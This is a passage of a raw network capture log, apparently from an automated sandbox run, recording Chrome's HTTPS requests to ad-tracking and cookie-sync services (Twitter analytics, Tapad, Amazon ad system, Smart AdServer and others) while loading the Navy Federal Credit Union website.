image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:23 UTC	400	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:22 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 9b938290a12527eb strict-transport-security: max-age=631138519 x-response-time: 8 x-connection-hash: c432f2900a0d8e890fff00479148bd26f792fab2afcbd54291e8665a2111b75e connection: close
2024-05-24 22:46:23 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.6	50239	104.244.42.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	825	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=63fb1628-255d-4c28-a9d9-fe6565c9fae3&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:23 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:22 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 373d273feb18a5e3 strict-transport-security: max-age=631138519 x-response-time: 83 x-connection-hash: d917dc48664ad68c6aa1c3a274bc5738066dc9d96a93aab9548a304388762b2e connection: close
2024-05-24 22:46:23 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.6	50240	104.244.42.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	688	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=63fb1628-255d-4c28-a9d9-fe6565c9fae3&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:23 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:22 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: d9f4f2633e777c6a strict-transport-security: max-age=0 x-response-time: 74 x-connection-hash: 3c0655977d1e282a64891dcbf4e02e120ee5360ca42d59e59597f85b2100b834 connection: close
2024-05-24 22:46:23 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.6	50234	18.238.243.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	932	OUT	GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster=1716590777199 HTTP/1.1 Host: live.rezync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYuQ.xA9TqPEGYFDEH_RdOpK9II9QP7s
2024-05-24 22:46:23 UTC	950	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 471 Connection: close Date: Fri, 24 May 2024 22:46:23 GMT Location: https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590783.1299598 Set-Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; Domain=rezync.com; Expires=Wed, 18 Jun 2025 22:46:23 GMT; Path=/; SameSite=None; Secure Set-Cookie: sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYvw.ItZUGSHF70m25AC4fgQ1tH_qQos; Expires=Wed, 18 Jun 2025 22:46:23 GMT; HttpOnly; Path=/; SameSite=None; Secure Vary: Cookie Server: lighttpd/1.4.69 X-Cache: Miss from cloudfront Via: 1.1 4c691f43539bb56ddcaef755730a6e86.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 X-Amz-Cf-Id: mhSs0aenwE2u7L1vl6Ld_6aOFbpuM73_gHfRtEBz4v4S6iVqth3qWQ==
2024-05-24 22:46:23 UTC	471	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 68 65 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 2e 6c 69 61 64 6d 2e 63 6f 6d 2f 73 2f 36 34 35 38 31 3f 62 69 64 64 65 72 5f 69 64 3d 32 30 30 34 34 32 26 61 6d 70 3b 62 69 64 64 65 72 5f 75 75 69 64 3d 33 35 37 63 32 38 63 33 2d 39 65 66 64 2d 34 65 33 35 2d 38 65 32 30 2d 32 38 38 66 66 38 64 61 34 61 31 61 25 33 41 Data Ascii: <!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a href="https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.6	50236	18.211.251.153	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	619	OUT	POST /event/track HTTP/1.1 Host: events.api.boomtrain.com Connection: keep-alive Content-Length: 504 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.navyfederal.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:22 UTC	504	OUT	Data Raw: 7b 22 74 79 70 65 22 3a 22 76 69 65 77 65 64 22 2c 22 73 69 74 65 5f 69 64 22 3a 22 6e 61 76 79 2d 66 65 64 65 72 61 6c 2d 63 72 65 64 69 74 2d 75 6e 69 6f 6e 22 2c 22 62 73 69 6e 22 3a 22 54 58 70 48 73 72 48 4e 36 34 66 74 69 42 4d 49 4e 67 33 54 48 48 57 75 76 37 65 31 34 47 52 6e 73 32 4d 58 56 45 4d 6e 77 6c 6e 49 73 4a 31 66 68 47 59 68 75 56 53 59 4f 41 6c 6d 6a 73 6a 72 41 55 2f 4e 56 75 35 6e 7a 66 41 6a 2f 2f 76 4b 6b 58 69 37 4b 51 3d 3d 22 2c 22 75 73 65 72 49 64 22 3a 22 54 58 70 48 73 72 48 4e 36 34 66 74 69 42 4d 49 4e 67 33 54 48 48 57 75 76 37 65 31 34 47 52 6e 73 32 4d 58 56 45 4d 6e 77 6c 6e 49 73 4a 31 66 68 47 59 68 75 56 53 59 4f 41 6c 6d 6a 73 6a 72 41 55 2f 4e 56 75 35 6e 7a 66 41 6a 2f 2f 76 4b 6b 58 69 37 4b 51 3d 3d 22 2c 22 73 Data Ascii: {"type":"viewed","site_id":"navy-federal-credit-union","bsin":"TXpHsrHN64ftiBMINg3THHWuv7e14GRns2MXVEMnwlnIsJ1fhGYhuVSYOAlmjsjrAU/NVu5nzfAj//vKkXi7KQ==","userId":"TXpHsrHN64ftiBMINg3THHWuv7e14GRns2MXVEMnwlnIsJ1fhGYhuVSYOAlmjsjrAU/NVu5nzfAj//vKkXi7KQ==","s
2024-05-24 22:46:23 UTC	308	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:23 GMT Content-Type: text/plain Content-Length: 2 Connection: close Server: nginx access-control-allow-origin: * access-control-allow-headers: X-Requested-With, Content-Type, Authorization, x-app-id access-control-allow-methods: GET, PUT, POST, DELETE
2024-05-24 22:46:23 UTC	2	IN	Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.6	50233	34.111.113.62	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	988	OUT	GET /idsync/ex/receive?partner_id=APPNEXUS&partner_device_id=6116765264039870456&pt=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae%2Chttps%253A%252F%252Fmatch.adsrvr.org%252Ftrack%252Fcmf%252Fgeneric%253Fttd_pid%253Dtapad%2C HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1716590766667; TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae; TapAd_3WAY_SYNCS=
2024-05-24 22:46:23 UTC	1146	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:23 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1716590766667;Expires=Tue, 23 Jul 2024 22:46:23 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae;Expires=Tue, 23 Jul 2024 22:46:23 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=2!3502;Expires=Tue, 23 Jul 2024 22:46:23 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=tapad Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.6	50242	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	440	OUT	GET /ecm3?ex=xandrHMT&id=wCkBr523Tkqf1J4YPCC1Ww HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:23 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:23 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: WG9Z0MT4HMH69YRYVP6J Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:23 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.6	50229	34.252.112.229	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	959	OUT	GET /adscores/g.pixel?sid=9211946648&tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&_redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dadadvisor%26ttd_tpi%3D1%26gdpr%3D1%26gdpr_consent%3D HTTP/1.1 Host: aa.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVMAAAAAAA
2024-05-24 22:46:23 UTC	704	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:23 GMT Transfer-Encoding: chunked Connection: close Server: AAWebServer P3P: policyref="https://www.agkn.com/p3p/p3p.xml",CP="NOI NID" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: accept, cache-control, origin, x-requested-with, x-file-name, content-type Set-Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; Path=/; Domain=.agkn.com; Expires=Sat, 24-May-2025 22:46:23 GMT; Max-Age=31536000; Secure; SameSite=None Location: https://d.agkn.com/pixel/10751/?che=1716590783147&ip=8.46.123.175
2024-05-24 22:46:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.6	50225	52.215.230.136	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	782	OUT	GET /ul_cb/match?publisher_dsp_id=416&external_user_id=BscuP2u4QsumCHkei5Vfyw&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DimprovedigitalHMT%26id%3D%7BPUB_USER_ID%7D HTTP/1.1 Host: match.360yield.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=3f6b4da6-2fbc-43ec-b47c-e34333cb9e24; tuuid_lu=1716590781
2024-05-24 22:46:23 UTC	646	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:23 GMT Content-Type: text/plain Content-Length: 0 Connection: close access-control-allow-origin: * set-cookie: um=!416,11T23JYfqVlJx0j4Qauoja2q.f.OjsDyLxjJPaYS86NWeE1Q,1724366783; Expires=Thu, 22 Aug 2024 22:46:23 GMT; Domain=.360yield.com; Path=/; SameSite=None; Secure set-cookie: umeh=!416,0,1778798783,-1; Expires=Thu, 22 Aug 2024 22:46:23 GMT; Domain=.360yield.com; Path=/; SameSite=None; Secure p3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" location: https://s.amazon-adsystem.com/ecm3?ex=improvedigitalHMT&id=3f6b4da6-2fbc-43ec-b47c-e34333cb9e24

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.6	50235	18.238.243.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	932	OUT	GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster=1716590777203 HTTP/1.1 Host: live.rezync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYuQ.xA9TqPEGYFDEH_RdOpK9II9QP7s
2024-05-24 22:46:23 UTC	950	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 471 Connection: close Date: Fri, 24 May 2024 22:46:23 GMT Location: https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590783.1304939 Set-Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; Domain=rezync.com; Expires=Wed, 18 Jun 2025 22:46:23 GMT; Path=/; SameSite=None; Secure Set-Cookie: sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYvw.ItZUGSHF70m25AC4fgQ1tH_qQos; Expires=Wed, 18 Jun 2025 22:46:23 GMT; HttpOnly; Path=/; SameSite=None; Secure Vary: Cookie Server: lighttpd/1.4.69 X-Cache: Miss from cloudfront Via: 1.1 e94fc0df161940e9096df2b4fe60d4f8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 X-Amz-Cf-Id: AOcgeRqz1suhbb7MyjEmU3-Z4X4oBi7ZUh7IY1kH0lx5A6wPX_acSw==
2024-05-24 22:46:23 UTC	471	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 68 65 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 2e 6c 69 61 64 6d 2e 63 6f 6d 2f 73 2f 36 34 35 38 31 3f 62 69 64 64 65 72 5f 69 64 3d 32 30 30 34 34 32 26 61 6d 70 3b 62 69 64 64 65 72 5f 75 75 69 64 3d 33 35 37 63 32 38 63 33 2d 39 65 66 64 2d 34 65 33 35 2d 38 65 32 30 2d 32 38 38 66 66 38 64 61 34 61 31 61 25 33 41 Data Ascii: <!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a href="https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.6	50232	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	489	OUT	GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=291116a4-3ed1-4243-8e5e-92574127ce52&mt=&bd=&cb=1716590780928 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:23 UTC	412	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1 Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 Content-Type: image/gif X-Cloud-Trace-Context: ca5a8aee202bc927944c853919bb5b81 Date: Fri, 24 May 2024 22:46:23 GMT Server: Google Frontend Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:23 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.6	50241	149.202.238.104	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	608	OUT	GET /redir/?partnerid=144&partneruserid=poRxPnFRToW5GcMxEIDgag HTTP/1.1 Host: rtb-csync.smartadserver.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:23 UTC	635	IN	HTTP/1.1 200 OK content-type: image/gif date: Fri, 24 May 2024 22:46:23 GMT cache-control: no-cache,no-store pragma: no-cache set-cookie: pid=913620667793503806; expires=Tue, 24 Jun 2025 22:46:23 GMT; domain=smartadserver.com; path=/; SameSite=None; secure set-cookie: TestIfCookieP=ok; expires=Tue, 24 Jun 2025 22:46:23 GMT; domain=smartadserver.com; path=/; SameSite=None; secure set-cookie: csync=144:poRxPnFRToW5GcMxEIDgag; expires=Sat, 24 May 2025 22:46:23 GMT; domain=smartadserver.com; path=/; SameSite=None; secure transfer-encoding: chunked p3p: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" connection: close
2024-05-24 22:46:23 UTC	54	IN	Data Raw: 32 42 0d 0a 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2BGIF89a!,D;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.6	50247	104.18.36.155	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
